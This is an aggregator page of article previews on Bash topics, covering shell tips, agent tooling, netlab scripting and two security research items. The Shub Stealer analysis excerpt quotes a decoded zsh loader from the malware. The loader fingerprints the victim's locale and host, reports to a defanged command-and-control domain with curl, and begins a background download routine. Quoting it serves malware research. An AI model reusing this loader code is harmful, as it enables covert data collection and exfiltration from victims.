# Bash

Bash is the shell, or command language interpreter, for the GNU operating system.

This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles.

## Quiz: The subprocess Module: Wrapping Programs With Python

DevFeed: [Quiz: The subprocess Module: Wrapping Programs With Python](<https://devfeed.tech/articles/quiz-the-subprocess-module-wrapping-programs-with-python-4407.md>)

Original publisher: [Read original article](<https://realpython.com/quizzes/python-subprocess/>)

Author: Real Python

Published: 2026-09-11T12:00:00Z

Content type: article

Language: en

Sources: [Real Python](<https://devfeed.tech/sources/real-python.md>)

Topics: [Python](<https://devfeed.tech/topics/python.md>), [Processes](<https://devfeed.tech/topics/processes.md>), [Streams](<https://devfeed.tech/topics/streams.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Exception](<https://devfeed.tech/topics/exception.md>)

Tags: [code](<https://devfeed.tech/tags/code.md>), [exception](<https://devfeed.tech/tags/exception.md>), [processes](<https://devfeed.tech/tags/processes.md>), [python](<https://devfeed.tech/tags/python.md>), [streams](<https://devfeed.tech/tags/streams.md>), [tutorial](<https://devfeed.tech/tags/tutorial.md>)

### AI overview

An interactive 13-question quiz testing understanding of Python's subprocess module, including launching external programs, handling exit codes and failures, preventing hangs with timeouts, and working with standard streams.

### Source excerpt

Test your understanding of Python's subprocess module. Run shell commands, handle exit codes and timeouts, and work with standard streams.

## Configure Bash History: HISTSIZE, Timestamps, Sync, and Search Shortcuts

DevFeed: [Configure Bash History: HISTSIZE, Timestamps, Sync, and Search Shortcuts](<https://devfeed.tech/articles/master-linux-bash-history-with-historyctl-histfile-and-shortcuts-20864.md>)

Original publisher: [Read original article](<https://linuxblog.io/bash-history-historyctl-histfile-shortcuts/>)

Author: Hayden James

Published: 2026-09-03T18:31:24Z

Content type: tutorial

Language: en

Sources: [Hayden James](<https://devfeed.tech/sources/hayden-james.md>)

Topics: [Bash](<https://devfeed.tech/topics/bash.md>), [Scripting, bash](<https://devfeed.tech/topics/scripting-bash.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [blog](<https://devfeed.tech/tags/blog.md>), [command-line](<https://devfeed.tech/tags/command-line.md>), [commands](<https://devfeed.tech/tags/commands.md>), [history](<https://devfeed.tech/tags/history.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [linux](<https://devfeed.tech/tags/linux.md>), [security](<https://devfeed.tech/tags/security.md>), [server](<https://devfeed.tech/tags/server.md>), [sysadmins](<https://devfeed.tech/tags/sysadmins.md>)

### AI overview

A tutorial on configuring Bash command history, including history size, timestamps, synchronization across terminals, search shortcuts, and excluding commands from history.

### Source excerpt

Bash history does a lot more than scroll up. Learn how to configure HISTSIZE, timestamps, multi-terminal sync, and search shortcuts to get real productivity gains at the command line. Continue reading...

## How to switch models in Claude Code with one command

DevFeed: [How to switch models in Claude Code with one command](<https://devfeed.tech/articles/how-to-switch-models-in-claude-code-with-one-command-16007.md>)

Original publisher: [Read original article](<https://workos.com/blog/claude-code-model-switching-gateway-wrapper>)

Author: WorkOS

Published: 2026-08-14T14:04:26Z

Content type: tutorial

Language: en

Sources: [WorkOS Blog](<https://devfeed.tech/sources/workos-blog.md>)

Topics: [Claude Code](<https://devfeed.tech/topics/claude-code.md>), [Protocol (disambiguation)](<https://devfeed.tech/topics/protocol.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [API](<https://devfeed.tech/topics/api.md>), [SDKs](<https://devfeed.tech/topics/sdks.md>), [Vercel](<https://devfeed.tech/topics/vercel.md>), [deepseek](<https://devfeed.tech/topics/deepseek.md>)

Tags: [api](<https://devfeed.tech/tags/api.md>), [claude-code](<https://devfeed.tech/tags/claude-code.md>), [command-line](<https://devfeed.tech/tags/command-line.md>), [commands](<https://devfeed.tech/tags/commands.md>), [deepseek](<https://devfeed.tech/tags/deepseek.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [vercel](<https://devfeed.tech/tags/vercel.md>)

### AI overview

A tutorial explains how to switch models in Claude Code by using a shell wrapper and environment variables with Anthropic-compatible gateways such as Vercel AI Gateway and OpenRouter. It highlights configuration details, including clearing conflicting credentials and correctly setting empty variables, and notes that the Claude Agent SDK inherits the same setup.

### Source excerpt

Claude Code speaks Anthropic's Messages protocol and so do the major gateways. A small shell wrapper points it at any model, with live rate cards to prove it.

## From a Large Allowlist to Three Denials: Permissions for a Coding Agent

DevFeed: [From a Large Allowlist to Three Denials: Permissions for a Coding Agent](<https://devfeed.tech/articles/from-a-large-allowlist-to-three-denials-permissions-for-a-coding-agent-34096.md>)

Original publisher: [Read original article](<https://philipptheserver.com/posts/agent-permissions-inversion/>)

Author: Philipp Lehmann (philipp.lehmann@gruppe.ai)

Published: 2026-08-11T07:00:00Z

Content type: opinion

Language: en

Sources: [Philipp Lehmann](<https://devfeed.tech/sources/philipp-lehmann.md>)

Topics: [coding](<https://devfeed.tech/topics/coding.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Linux](<https://devfeed.tech/topics/linux.md>), [Authorization](<https://devfeed.tech/topics/authorization.md>), [Kernel](<https://devfeed.tech/topics/kernel.md>), [mount](<https://devfeed.tech/topics/mount.md>), [Network](<https://devfeed.tech/topics/network.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>)

Tags: [agent](<https://devfeed.tech/tags/agent.md>), [agents](<https://devfeed.tech/tags/agents.md>), [coding](<https://devfeed.tech/tags/coding.md>), [command-line](<https://devfeed.tech/tags/command-line.md>), [curl](<https://devfeed.tech/tags/curl.md>), [kernel](<https://devfeed.tech/tags/kernel.md>), [linux](<https://devfeed.tech/tags/linux.md>), [mount](<https://devfeed.tech/tags/mount.md>), [network](<https://devfeed.tech/tags/network.md>), [permissions](<https://devfeed.tech/tags/permissions.md>), [sandboxing](<https://devfeed.tech/tags/sandboxing.md>), [security](<https://devfeed.tech/tags/security.md>), [shell](<https://devfeed.tech/tags/shell.md>)

### AI overview

The article argues that command allowlists are a poor security boundary for coding agents because the required command set continually expands and command names do not constrain effects. It proposes enforcing limits at the kernel level with Linux namespaces, a read-only root filesystem, scoped writable mounts, and dropped capabilities, allowing a shell to run while restricting its blast radius.

### Source excerpt

bwrap --unshare-net --cap-drop ALL instead of a command allowlist: sandboxing a coding agent's shell so rm -rf and curl cannot leave the workspace.

## Proxmox VE Helper-Scripts: guía y buenas prácticas

DevFeed: [Proxmox VE Helper-Scripts: guía y buenas prácticas](<https://devfeed.tech/articles/proxmox-ve-helper-scripts-guia-y-buenas-practicas-34076.md>)

Original publisher: [Read original article](<https://tengoping.com/blog/proxmox-ve-helper-scripts-guia-buenas-practicas/>)

Author: Antonio Pérez

Published: 2026-08-04T00:00:00Z

Content type: tutorial

Language: es

Sources: [tengoping.com](<https://devfeed.tech/sources/tengoping-com.md>)

Topics: [Proxmox](<https://devfeed.tech/topics/proxmox.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Script](<https://devfeed.tech/topics/script.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [qemu](<https://devfeed.tech/topics/qemu.md>), [GitHub](<https://devfeed.tech/topics/github.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [community](<https://devfeed.tech/tags/community.md>), [github](<https://devfeed.tech/tags/github.md>), [http](<https://devfeed.tech/tags/http.md>), [proxmox](<https://devfeed.tech/tags/proxmox.md>), [qemu](<https://devfeed.tech/tags/qemu.md>), [root](<https://devfeed.tech/tags/root.md>), [script](<https://devfeed.tech/tags/script.md>), [scripts](<https://devfeed.tech/tags/scripts.md>), [shell](<https://devfeed.tech/tags/shell.md>)

### AI overview

This guide explains what Proxmox VE Helper-Scripts are, how community-scripts.org uses Bash scripts to deploy applications in LXC containers or QEMU virtual machines, and how the main script downloads and runs the required components. It also highlights the security risk of executing third-party code as root on a Proxmox hypervisor.

### Source excerpt

Qué son los Proxmox VE Helper-Scripts de community-scripts.org, cómo despliegan LXC y VMs con un solo comando y qué riesgos de seguridad debes valorar.

## Opening Sublime Text from the command line

DevFeed: [Opening Sublime Text from the command line](<https://devfeed.tech/articles/opening-sublime-text-from-the-command-line-39471.md>)

Original publisher: [Read original article](<https://akrabat.com/opening-sublime-text-from-the-command-line/>)

Author: Rob

Published: 2026-06-30T10:00:00Z

Content type: tutorial

Language: en

Sources: [Rob Allen](<https://devfeed.tech/sources/rob-allen.md>)

Topics: [Sublime Text](<https://devfeed.tech/topics/sublime-text.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [JSON](<https://devfeed.tech/topics/json.md>), [sessions](<https://devfeed.tech/topics/sessions.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [command-line](<https://devfeed.tech/tags/command-line.md>), [computing](<https://devfeed.tech/tags/computing.md>), [extension](<https://devfeed.tech/tags/extension.md>), [json](<https://devfeed.tech/tags/json.md>), [sessions](<https://devfeed.tech/tags/sessions.md>), [shell-scripting](<https://devfeed.tech/tags/shell-scripting.md>), [software](<https://devfeed.tech/tags/software.md>)

### AI overview

A tutorial on using a Bash function to open Sublime Text from the command line with different window behaviors for directories and files. It extends the function to create and manage a hidden .sublime-project JSON file so open files persist across sessions.

### Source excerpt

I nearly always open Sublime Text from the command line using subl and have specific requirements for when it should open a new window or re-use one. If I'm opening a directory, then I would like it to re-use the same window if I have previously opened that directory. However if I open a random file, I never want that file in the last directory window as it's unrelated. To do this I wrote a... continue reading.

## Webworm: New burrowing techniques

DevFeed: [Webworm: New burrowing techniques](<https://devfeed.tech/articles/webworm-new-burrowing-techniques-8383.md>)

Original publisher: [Read original article](<https://www.welivesecurity.com/en/eset-research/webworm-new-burrowing-techniques/>)

Author: Eric Howard

Published: 2026-05-20T08:40:00Z

Content type: article

Language: en

Sources: [WeLiveSecurity](<https://devfeed.tech/sources/welivesecurity.md>)

Topics: [Malware](<https://devfeed.tech/topics/malware.md>), [backdoor](<https://devfeed.tech/topics/backdoor.md>), [Reconnaissance](<https://devfeed.tech/topics/recon.md>), [Discord](<https://devfeed.tech/topics/discord.md>), [GitHub](<https://devfeed.tech/topics/github.md>), [API](<https://devfeed.tech/topics/api.md>), [Microsoft](<https://devfeed.tech/topics/microsoft.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Virtual Private Network](<https://devfeed.tech/topics/vpn.md>), [Amazon S3](<https://devfeed.tech/topics/amazon-s3.md>)

Tags: [api](<https://devfeed.tech/tags/api.md>), [apt](<https://devfeed.tech/tags/apt.md>), [backdoor](<https://devfeed.tech/tags/backdoor.md>), [bash](<https://devfeed.tech/tags/bash.md>), [china](<https://devfeed.tech/tags/china.md>), [discord](<https://devfeed.tech/tags/discord.md>), [eset-research](<https://devfeed.tech/tags/eset-research.md>), [europe](<https://devfeed.tech/tags/europe.md>), [github](<https://devfeed.tech/tags/github.md>), [ip](<https://devfeed.tech/tags/ip.md>), [malware](<https://devfeed.tech/tags/malware.md>), [microsoft](<https://devfeed.tech/tags/microsoft.md>), [s3](<https://devfeed.tech/tags/s3.md>), [server](<https://devfeed.tech/tags/server.md>), [techniques](<https://devfeed.tech/tags/techniques.md>), [tools](<https://devfeed.tech/tags/tools.md>)

### AI overview

ESET researchers analyze Webworm's 2025 activity, including its shift toward Europe, new Discord- and Microsoft Graph API-based backdoors, proxy tools, reconnaissance activity, and GitHub-hosted malware staging.

### Source excerpt

ESET researchers describe new tools and techniques that the Webworm APT group recently added to its arsenal

## An Engineer's Guide to Better AI Skills: Implementing a Testing Process to Optimize Agent...

DevFeed: [An Engineer's Guide to Better AI Skills: Implementing a Testing Process to Optimize Agent...](<https://devfeed.tech/articles/an-engineer-s-guide-to-better-ai-skills-implementing-a-testing-process-to-optimize-agent-1226.md>)

Original publisher: [Read original article](<https://medium.com/pinterest-engineering/an-engineers-guide-to-better-ai-skills-implementing-a-testing-process-to-optimize-agent-a000c9c9abcd?source=rss----4c5a5f6279b6---4>)

Author: Pinterest Engineering

Published: 2026-05-12T16:01:00Z

Content type: article

Language: en

Sources: [Pinterest Engineering Blog - Medium](<https://devfeed.tech/sources/pinterest-engineering-blog-medium.md>)

Topics: [Agent Skill](<https://devfeed.tech/topics/agent-skill.md>), [Artificial Intelligence](<https://devfeed.tech/topics/ai.md>), [Claude Code](<https://devfeed.tech/topics/claude-code.md>), [codex](<https://devfeed.tech/topics/codex.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [iOS](<https://devfeed.tech/topics/ios.md>), [JSON](<https://devfeed.tech/topics/json.md>)

Tags: [agent](<https://devfeed.tech/tags/agent.md>), [agent-skill](<https://devfeed.tech/tags/agent-skill.md>), [agentic-coding](<https://devfeed.tech/tags/agentic-coding.md>), [agents](<https://devfeed.tech/tags/agents.md>), [ai](<https://devfeed.tech/tags/ai.md>), [ai-agents](<https://devfeed.tech/tags/ai-agents.md>), [analysis](<https://devfeed.tech/tags/analysis.md>), [architecture](<https://devfeed.tech/tags/architecture.md>), [bash](<https://devfeed.tech/tags/bash.md>), [claude-code](<https://devfeed.tech/tags/claude-code.md>), [code](<https://devfeed.tech/tags/code.md>), [codex](<https://devfeed.tech/tags/codex.md>), [debug](<https://devfeed.tech/tags/debug.md>), [engineering](<https://devfeed.tech/tags/engineering.md>), [engineering-culture](<https://devfeed.tech/tags/engineering-culture.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [openai](<https://devfeed.tech/tags/openai.md>), [pinterest](<https://devfeed.tech/tags/pinterest.md>), [programming](<https://devfeed.tech/tags/programming.md>), [skills](<https://devfeed.tech/tags/skills.md>), [testing](<https://devfeed.tech/tags/testing.md>), [workflows](<https://devfeed.tech/tags/workflows.md>)

### AI overview

An engineer's guide to testing AI skill invocation in repositories and custom skills. It describes a Bash-based harness that runs positive and negative prompts, captures verbose logs, parses JSON-streamed output, and measures invocation reliability across an internal Codex fork and Claude Code.

### Source excerpt

An Engineer's Guide to Better AI Skills: Implementing a Testing Process to Optimize Agent Performance in Any Repository or Skill Author: Daniel Reed The tech industry is currently seeing a massive overhaul in the way we work and many are enjoying the benefits of AI agents, particularly when automating engineer workflows and serving domain-specific knowledge. However, relying on agents to consistently invoke a custom skill can be surprisingly unreliable at times. When adopting a new skill intended to help agents write code for Pinterest's iOS architecture (I'll call it rx-mvvm) we discovered that sometimes our knowledge skill wasn't being loaded into our agents. To address this, we conducted a series of tests on Pin-agent (an internal fork of OpenAI's Codex) and Claude Code to quantify the reliability of skill invocation and identify some best practices to maximize performance. This was a direct result of observing agents struggling to meet the skills bar during architectural reviews. We found that by applying different techniques we could track and drastically improve skill invocation rates on both tested agents. How to Build A Skill Test Harness Building a reliable test harness for agent skill invocation requires three key components working in concert. The Core Tool is a Bash script that orchestrates automated testing by piping prompts to your agent and capturing verbose output logs. The core execution is simple: if echo "$prompt" | claude --print --verbose --output-format stream-json > "$log_file" 2>&1; then command_success=true fi The script runs all test cases in sequence, collecting logs for later analysis. We ran the entire suite multiple times to account for the nondeterministic nature of agents. Prompts were categorized into two categories defined as arrays: Positive Cases -- 15 prompts covering the full spectrum of skill domains: CORE_PROMPTS=( "load the rx-mvvm-architecture skill" "check if this follows rx-mvvm patterns" # ... 13 more cases ) Negative Case

## Shub Stealers Fake Crypto Apps

DevFeed: [Shub Stealers Fake Crypto Apps](<https://devfeed.tech/articles/shub-stealers-fake-crypto-apps-22545.md>)

Original publisher: [Read original article](<https://medium.com/walmartglobaltech/shub-stealers-fake-crypto-apps-d5e2a65618b7?source=rss----905ea2b3d4d1---4>)

Author: Jason Reaves

Published: 2026-04-06T17:34:44Z

Content type: article

Language: en

Sources: [Walmart Global Tech](<https://devfeed.tech/sources/walmart-global-tech.md>)

Topics: [Security](<https://devfeed.tech/topics/security.md>), [C2](<https://devfeed.tech/topics/c2.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [payload](<https://devfeed.tech/topics/payload.md>), [telemetry](<https://devfeed.tech/topics/telemetry.md>), [API](<https://devfeed.tech/topics/api.md>), [JSON](<https://devfeed.tech/topics/json.md>)

Tags: [c2](<https://devfeed.tech/tags/c2.md>), [code](<https://devfeed.tech/tags/code.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [json](<https://devfeed.tech/tags/json.md>), [macos](<https://devfeed.tech/tags/macos.md>), [malware](<https://devfeed.tech/tags/malware.md>), [payload](<https://devfeed.tech/tags/payload.md>), [reverse-engineering](<https://devfeed.tech/tags/reverse-engineering.md>), [security](<https://devfeed.tech/tags/security.md>), [shell](<https://devfeed.tech/tags/shell.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [telemetry](<https://devfeed.tech/tags/telemetry.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

Jason Reaves examines Shub Stealer's fake cryptocurrency applications. The article describes shell-script checks that collect system and locale information, send telemetry, and block execution in certain environments, then explains how counterfeit Exodus, Atomic, Ledger, LedgerLive, and Trezor apps capture wallet credentials or recovery phrases and send the data to command-and-control infrastructure.

### Source excerpt

By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec </dev/null exec >/dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa

## Supabase docs over SSH

DevFeed: [Supabase docs over SSH](<https://devfeed.tech/articles/supabase-docs-over-ssh-619.md>)

Original publisher: [Read original article](<https://supabase.com/blog/supabase-docs-over-ssh>)

Author: Greg Richardson

Published: 2026-04-01T07:00:00Z

Content type: release

Language: en

Sources: [Supabase Blog](<https://devfeed.tech/sources/supabase-blog.md>)

Topics: [Supabase](<https://devfeed.tech/topics/supabase.md>), [AI-assisted coding](<https://devfeed.tech/topics/ai-assisted-coding.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [OpenSSH](<https://devfeed.tech/topics/openssh.md>), [Filesystems](<https://devfeed.tech/topics/filesystems.md>), [Open Source](<https://devfeed.tech/topics/open-source.md>), [TypeScript](<https://devfeed.tech/topics/typescript.md>), [Vercel](<https://devfeed.tech/topics/vercel.md>)

Tags: [agent](<https://devfeed.tech/tags/agent.md>), [ai](<https://devfeed.tech/tags/ai.md>), [ai-coding](<https://devfeed.tech/tags/ai-coding.md>), [bash](<https://devfeed.tech/tags/bash.md>), [cli](<https://devfeed.tech/tags/cli.md>), [open-source](<https://devfeed.tech/tags/open-source.md>), [ssh](<https://devfeed.tech/tags/ssh.md>), [typescript](<https://devfeed.tech/tags/typescript.md>), [vercel](<https://devfeed.tech/tags/vercel.md>)

### AI overview

Supabase introduces supabase.sh, a public SSH server that exposes Supabase documentation to AI coding agents through a bash-accessible virtual file system. The public experiment is designed to help agents browse current Markdown documentation and avoid hallucinated APIs, incorrect CLI commands, and missed configuration steps.

### Source excerpt

Browse Supabase docs with grep, find, and cat.

## How we built a virtual filesystem for our Assistant

DevFeed: [How we built a virtual filesystem for our Assistant](<https://devfeed.tech/articles/how-we-built-a-virtual-filesystem-for-our-assistant-31031.md>)

Original publisher: [Read original article](<https://www.mintlify.com/blog/how-we-built-a-virtual-filesystem-for-our-assistant>)

Author: Dens Sumesh

Published: 2026-03-24T00:00:00Z

Content type: article

Language: en

Sources: [Mintlify Blog](<https://devfeed.tech/sources/mintlify-blog.md>)

Topics: [Filesystems](<https://devfeed.tech/topics/filesystems.md>), [Retrieval Augmented Generation (RAG)](<https://devfeed.tech/topics/retrieval-augmented-generation-rag.md>), [Database](<https://devfeed.tech/topics/database.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Unix](<https://devfeed.tech/topics/unix.md>), [TypeScript](<https://devfeed.tech/topics/typescript.md>)

Tags: [ai](<https://devfeed.tech/tags/ai.md>), [developer](<https://devfeed.tech/tags/developer.md>), [engineering](<https://devfeed.tech/tags/engineering.md>), [filesystem](<https://devfeed.tech/tags/filesystem.md>), [github](<https://devfeed.tech/tags/github.md>), [latency](<https://devfeed.tech/tags/latency.md>), [pricing](<https://devfeed.tech/tags/pricing.md>), [rag](<https://devfeed.tech/tags/rag.md>), [typescript](<https://devfeed.tech/tags/typescript.md>), [unix](<https://devfeed.tech/tags/unix.md>), [vercel](<https://devfeed.tech/tags/vercel.md>), [virtual](<https://devfeed.tech/tags/virtual.md>)

### AI overview

The article explains how Mintlify built ChromaFs, a virtual filesystem for its documentation assistant. ChromaFs translates UNIX commands into queries against an existing Chroma database, allowing the assistant to search, read, and traverse documentation without cloning a repository into a sandbox.

### Source excerpt

We replaced expensive sandboxes with ChromaFs, a virtual filesystem over Chroma, to give our docs AI assistant the ability to explore documentation like a developer would.

## netlab: Switch to Lab Directory After an SSH Session Loss

DevFeed: [netlab: Switch to Lab Directory After an SSH Session Loss](<https://devfeed.tech/articles/netlab-switch-to-lab-directory-after-an-ssh-session-loss-11350.md>)

Original publisher: [Read original article](<https://blog.ipspace.net/2026/03/netlab-switch-lab-directory/>)

Published: 2026-03-23T07:31:00Z

Content type: tutorial

Language: en

Sources: [ipSpace.net blog](<https://devfeed.tech/sources/ipspace-net-blog.md>)

Topics: [ssh](<https://devfeed.tech/topics/ssh.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Scripting, bash](<https://devfeed.tech/topics/scripting-bash.md>), [Unix](<https://devfeed.tech/topics/unix.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Script](<https://devfeed.tech/topics/script.md>), [Server](<https://devfeed.tech/topics/server.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [netlab](<https://devfeed.tech/tags/netlab.md>), [script](<https://devfeed.tech/tags/script.md>), [server](<https://devfeed.tech/tags/server.md>), [ssh](<https://devfeed.tech/tags/ssh.md>)

### AI overview

This tutorial shows how to use netlab status and jq in a Bash alias to return to the directory of a lab after reconnecting to a netlab server following an SSH session loss.

### Source excerpt

I work on a laptop that loves to power down when not used (the right thing to do), which often breaks the SSH session to my netlab server (not so good). Reconnecting is trivial. Figuring out which lab I was working on and where it lives on the disk after a few hours? That's the annoying part. We solved most of that ages ago with the netlab status --all command. It shows all running labs1 and their directories, so you can quickly jump back to where you were. However, even that gets tedious the 100th time you have to do it. Read more ...

## Using coding agents as modular components in developer tools

DevFeed: [Using coding agents as modular components in developer tools](<https://devfeed.tech/articles/use-ai-in-a-tool-not-as-a-tool-28721.md>)

Original publisher: [Read original article](<https://le0nidas.gr/2026/03/18/use-ai-_in_-a-tool-not-_as_-a-tool/>)

Author: Leonidas Partsas

Published: 2026-03-18T17:51:32Z

Content type: opinion

Language: en

Sources: [le0nidas](<https://devfeed.tech/sources/le0nidas.md>)

Topics: [coding](<https://devfeed.tech/topics/coding.md>), [Tooling](<https://devfeed.tech/topics/tooling.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Git](<https://devfeed.tech/topics/git.md>), [Bash](<https://devfeed.tech/topics/bash.md>)

Tags: [agent](<https://devfeed.tech/tags/agent.md>), [ai](<https://devfeed.tech/tags/ai.md>), [bash](<https://devfeed.tech/tags/bash.md>), [beads](<https://devfeed.tech/tags/beads.md>), [coding](<https://devfeed.tech/tags/coding.md>), [git](<https://devfeed.tech/tags/git.md>), [good-practices](<https://devfeed.tech/tags/good-practices.md>), [open-code](<https://devfeed.tech/tags/open-code.md>), [opencode](<https://devfeed.tech/tags/opencode.md>), [productivity](<https://devfeed.tech/tags/productivity.md>), [thoughts](<https://devfeed.tech/tags/thoughts.md>), [workflow](<https://devfeed.tech/tags/workflow.md>)

### AI overview

The article argues that coding agents should be embedded as focused components within developer tools rather than treated as monolithic tools. It illustrates the approach by decomposing an OpenCode-based commit workflow into Bash scripts and a custom agent, following single-responsibility and composability principles.

### Source excerpt

Or to be more exact, use a coding agent in a tool. This is my new starting point every time I begin to think of a tool I want to implement. Being part of the pipeline A couple of weeks ago I thought of creating an OpenCode agent that will check my uncommitted changes, construct ... Continue reading Use AI _in_ a tool not _as_ a tool ->

## Fast FRR Container Configuration

DevFeed: [Fast FRR Container Configuration](<https://devfeed.tech/articles/fast-frr-container-configuration-11333.md>)

Original publisher: [Read original article](<https://blog.ipspace.net/2026/02/netlab-frr-configuration/>)

Published: 2026-02-02T06:47:00Z

Content type: article

Language: en

Sources: [ipSpace.net blog](<https://devfeed.tech/sources/ipspace-net-blog.md>)

Topics: [Docker](<https://devfeed.tech/topics/docker.md>), [Containers](<https://devfeed.tech/topics/containers.md>), [Ansible](<https://devfeed.tech/topics/ansible.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [configuration](<https://devfeed.tech/topics/configuration.md>), [race-condition](<https://devfeed.tech/topics/race-condition.md>)

Tags: [ansible](<https://devfeed.tech/tags/ansible.md>), [bash](<https://devfeed.tech/tags/bash.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [container](<https://devfeed.tech/tags/container.md>), [docker](<https://devfeed.tech/tags/docker.md>), [infrastructure](<https://devfeed.tech/tags/infrastructure.md>), [netlab](<https://devfeed.tech/tags/netlab.md>), [race-condition](<https://devfeed.tech/tags/race-condition.md>)

### AI overview

This article describes netlab's effort to configure FRR containers by executing generated Linux scripts through docker exec. It explains using shebangs to select vtysh or another interpreter, and reports integration-test issues including timing problems and a race condition involving parallel VLAN configuration.

### Source excerpt

After creating the infrastructure that generates the device configuration files within netlab (not in an Ansible playbook), it was time to try to apply it to something else, not just Linux containers. FRR containers were the obvious next target. netlab uses two different mechanisms to configure FRR containers: Data-plane features are configured with bash scripts using ip commands and friends. Control-plane features are configured with FRR's vtysh I wanted to replace both with Linux scripts that could be started with the docker exec command. Read more ...

## How netlab 26.01 Reduced Ansible Use for Container Configuration

DevFeed: [How netlab 26.01 Reduced Ansible Use for Container Configuration](<https://devfeed.tech/articles/how-moving-away-from-ansible-made-netlab-faster-11314.md>)

Original publisher: [Read original article](<https://blog.ipspace.net/2026/01/netlab-faster-without-ansible/>)

Published: 2026-01-19T06:36:00Z

Content type: article

Language: en

Sources: [ipSpace.net blog](<https://devfeed.tech/sources/ipspace-net-blog.md>)

Topics: [Ansible](<https://devfeed.tech/topics/ansible.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Docker](<https://devfeed.tech/topics/docker.md>), [Containers](<https://devfeed.tech/topics/containers.md>), [releases](<https://devfeed.tech/topics/releases.md>)

Tags: [ansible](<https://devfeed.tech/tags/ansible.md>), [bash](<https://devfeed.tech/tags/bash.md>), [container](<https://devfeed.tech/tags/container.md>), [containers](<https://devfeed.tech/tags/containers.md>), [docker](<https://devfeed.tech/tags/docker.md>), [linux](<https://devfeed.tech/tags/linux.md>), [netlab](<https://devfeed.tech/tags/netlab.md>), [releases](<https://devfeed.tech/tags/releases.md>)

### AI overview

The article explains how netlab 26.01 moved device configuration file generation into netlab and runs Bash scripts directly for Linux, Bird, and dnsmasq containers, reducing the role of Ansible in the initialization process. It compares startup behavior with an earlier release using Ansible and notes that the measured times are not statistically significant.

### Source excerpt

TL&DR: Of course, the title is clickbait. While the differences are amazing, you won't notice them in small topologies or when using bloatware that takes minutes to boot. Let's start with the background story: due to the (now fixed) suboptimal behavior of bleeding-edge Ansible releases, I decided to generate the device configuration files within netlab (previously, netlab prepared the device data, and the configuration files were rendered in an Ansible playbook). As we use bash scripts to configure Linux containers, it makes little sense (once the bash scripts are created) to use an Ansible playbook to execute docker exec script or ip netns container exec script. netlab release 26.01 runs the bash scripts to configure Linux, Bird, and dnsmasq containers directly within the netlab initial process. Now for the juicy part. Read more ...

## 10 scripts Bash útiles para sysadmins

DevFeed: [10 scripts Bash útiles para sysadmins](<https://devfeed.tech/articles/10-scripts-bash-utiles-para-sysadmins-34082.md>)

Original publisher: [Read original article](<https://tengoping.com/blog/scripts-bash-utiles-sysadmin/>)

Author: Alois

Published: 2026-01-14T00:00:00Z

Content type: tutorial

Language: es

Sources: [tengoping.com](<https://devfeed.tech/sources/tengoping-com.md>)

